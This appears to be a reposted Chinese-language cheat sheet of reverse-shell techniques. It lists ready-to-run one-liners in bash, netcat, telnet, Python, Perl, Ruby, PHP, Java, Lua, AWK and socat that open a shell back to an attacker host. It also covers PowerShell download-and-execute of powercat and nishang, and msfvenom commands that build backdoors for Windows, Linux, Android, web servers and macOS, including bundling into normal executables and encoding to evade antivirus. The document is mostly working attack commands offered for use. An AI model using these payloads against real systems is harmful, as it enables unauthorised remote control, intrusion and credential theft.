反弹shell汇总


0x00 bash

1.常规反弹shell:

攻击机:
nc -lvvp port //port 为攻击主机端口号,并且此端口号没有被占用

受害机:
bash -i >& /dev/tcp/攻击主机ip/port 0>&1 //port 为攻击主机端口号

2.解释:

bash -i   打开一个交互的bash

>&   将标准错误输出重定向到标准输出

/dev/tcp/x.x.x.x/port   意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port为端口

0>&1   标准输入重定向到标准输出,实现你与反弹出来的shell的交互
1234567

/dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。

其他版本:

exec 5<>/dev/tcp/x.x.x.x/9999
cat <&5 | while read line; do $line 2>&5 >&5; done
  • 第一条命令 建立与x.x.x.x:9999的tcp连接,并将标准输入输出作为device 5的标准输入输出

  • 第二条cat <&5 获取device5的输入; while read line; do $line 2>&5 >&5 一旦获取到命令便运行 然后将标准输入输出以及标准错误输出到device5中

0x01 nc(netcat)反弹

1.第一种:

攻击机:
nc -lvvp port //port 为攻击主机端口号,并且此端口号没有被占用

受害机:
nc -e /bin/bash 攻击主机ip port

2.第二种:

nc x.x.x.x 1234|/bin/bash|nc x.x.x.x 4321    //在攻击主机上打开两个终端,分别监听 1234 和 4321 端口,得到反弹shell后,1234 终端 输入命令, 4321 终端就会获得执行相应命令后的结果

3.第三种:

由于现在很多主机上可能没有netcat了,所以如果遇到虽然有netcat 但不支持 nc -e /bin/bash 攻击主机ip port-e选项的主机,还可以这样反弹shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
  • rm /tmp/f 删除命令

  • mkfifo /tmp/f; 在tmp目录下写fifo文件f

  • /bin/sh -i 2>&1 将/bin/sh 的标准错误重定向到标准输出

  • nc x.x.x.x 2333 >/tmp/f将nc监听到的输入 输入到fifo

0x02 telnet反弹

  1. 在攻击主机上打开两个终端分别监听 1234 和 4321端口,(确保端口开放,并且不被占用),得到反弹shell后,1234 终端 输入命令, 4321 终端就会获得执行相应命令后的结果:

nc -lvvp 1234
nc -lvvp 4321
  1. 在目标主机上执行:

telnet 攻击主机ip 1234 | /bin/bash | telnet 攻击主机ip 4321

0x03常见脚本反弹

以上脚本是在目标主机上执行,其中 x.x.x.x 均为攻击主机ip,并且需要提前在攻击主机上进行监听相关端口,接下来就不再赘述

1. python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

2. perl

方法一:

perl -e 'use Socket;$i="x.x.x.x";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

方法二:

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

3. Ruby

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

4. PHP

php -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");'

5. Java

public class Revs {
   /**
   * @param args
   * @throws Exception
   */
   public static void main(String[] args) throws Exception {
       // TODO Auto-generated method stub
       Runtime r = Runtime.getRuntime();
       String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"};
       Process p = r.exec(cmd);
       p.waitFor();
  }
}

6. Lua

lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','5555');os.execute('/bin/sh -i <&3 >&3 2>&3');"

7. AWK 反弹

攻击的机器监听,在收到shell的时候不可以输入enter,不然会断开

awk 'BEGIN{s="/inet/tcp/0/x.x.x.x/8080";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

0x04 Mshta 反弹 shell

powershell反弹shell

0x05 powercat反弹shell

powercat(https://github.com/besimorhino/powercat)为Powershell版的Netcat,实际上是一个powershell的函数,使用方法类似Netcat。

受害机:
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.1.4 -p 9999 -e cmd
或者:
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -l -p 9999

攻击机:
Nc –lvnp 9999

0x06 nishang反弹shell

操作系统 PowerShell版本 是否可升级
Window7/Windows server 2008 2.0 可以升级3.0、4.0
Window 8/ Windows server 2012 3.0 可升级4.0
Window 8.1/ Windows server 2012 R2 4.0 升级5.0 5.1

https://github.com/samratashok/nishang/

tips:

  1. Nishang要在PowerShell3.0以上的环境下才可以正常使用,在window 7或者server2008上可能会出现一些异常。

  1. 输入Get-Host或者$PSVersionTable.PSVERSION来查看版本信息。

导入Nishang模块
Import-Module .\nishang.psm1
导入成功后,产看Nishang中模块
Get-Command –Module nishang

Nishang攻击模块有(部分):

  1. Check-VM:检测目标机器是否为虚拟机

  2. Invoke-CredentialsPhish:欺骗目标主机用户,用作钓鱼

  3. Copy-VSS:利用Volume Shaodow Copy复制sam文件

  4. FireBuster FireLiStener:用作内网环境扫描

  5. Keylogger:用作键盘记录

  6. Invoke-Mimikatz:类似Mimikatz,直接获取系统账号明文密码

  7. Get-PassHashes:获取系统密码hash值

1. 基于TCP的Powershell交互式shell

受害机:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.4 -port 9999

其中,Invoke-PowerShellTcp是基于TCP协议的Powershell正向连接或者反向连接shell,其参数如下:
- IPAddress 反向连接时设置的IP
- Port 正向连接时设置的端口,前面要写上-Bind参数
- Reverse 反向连接
- Bind 正向连接

反向连接: Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.4 -port 9999
正向连接: Invoke-PowerShellTcp -Bind -Port 4444

2. 基于UDP的Powershell交互式shell

受害机:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.1.4 -port 5399

攻击机:
反向连接: nc -lup 6005
正向连接: nc -nvu 192.168.1.24 4555

3. 基于ICMP的Powershell交互式Shell

受害机:
Invoke-PowerShellIcmp -IPAddress <source IP address>

攻击机:
python icmpsh-m.py <source IP address> <destination IP address>

4. 基于HTTP/HTTPS的Powershell交互式Shell

HTTP: Invoke-PoshRatHttp –IPAddess 192.168.1.4 –Port 4444
HTTPS: Invoke-PoshRatHttps –IPAddess 192.168.1.4 –Port 4444

然后会生成一个powershell如下的命令····IEX ((New-Object Net.WebClient).DownloadString(‘http://192.168.1.4:4444/connect’))
然后复制该命令在被攻击机器上执行即可,便可看到反弹的shell

0x07 socat反弹shell

socat,一个多功能的网络工具,名字来源于SOcket CAT,是netcat的增强版,也就是netcat++(扩展了设计,并有新的实现)

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.99.242:1234

0x08 msf生成payload反弹shell

常用命令:

1. –p (- -payload-options)

添加载荷payload。

根据对应的载荷payload生成对应平台下的后门。

(- -payload-options 列出payload选项)

2. –l

查看所有payload encoder nops。

3. –f (- -help-formats)

输出文件格式。

(- -help-formats 列出所有文件格式)

Executable formats:

asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection, psh-cmd, vba, vba-exe, vba-psh, vbs, war

Transform formats:

bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript

4. –e

编码免杀。

5. –a (- -platform – -help-platforms)

选择架构平台

x86 | x64 | x86_64

Platforms:

windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe

6. –o

文件输出。

7. –s

生成payload的最大长度,就是文件大小。

8. –b

避免使用的字符 例如:不使用 ‘\0f’。

9. –i

编码次数。

10. –c

添加自己的shellcode。

11. –x | -k

捆绑。例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。

1、创建监听:

(根据后门使用的payload选择监听时对应payload,默认使用generic/shell_reverse_tcp):

2、生成windows exe 后门:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.12.191 LPORT=4444 -f exe > shell.exe   //自行选择平台架构

3、生成linux后门:

 msfvenom -p linux/x86/shell_reverse_tcp  LHOST=10.10.12.191 LPORT=4444  -f elf > mshell.elf

4、生成java后门:

msfvenom -p java/meterpreter/reverse_tcp  LHOST=10.10.12.191 LPORT=4444 w > 123.jar

5、生成asp后门:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.12.191 LPORT=4444 -f asp > shell.asp

6、生成jsp后门:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.12.191 LPORT=4444 -f raw > shell.jsp

7、生成php后门:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.43.193 LPORT=4444 -o 1234.php

8、生成android后门:

 msfvenom -p android/meterpreter_reverse_tcp LHOST=10.10.12.191 LPORT=4444 R > 11.apk

9、生成war后门:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.12.191 LPORT=4444 -f war > shell.war

 

10、生成mac shellcode

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c

11、生成 linux shellcode

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c

12、生成 windows shellcode

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM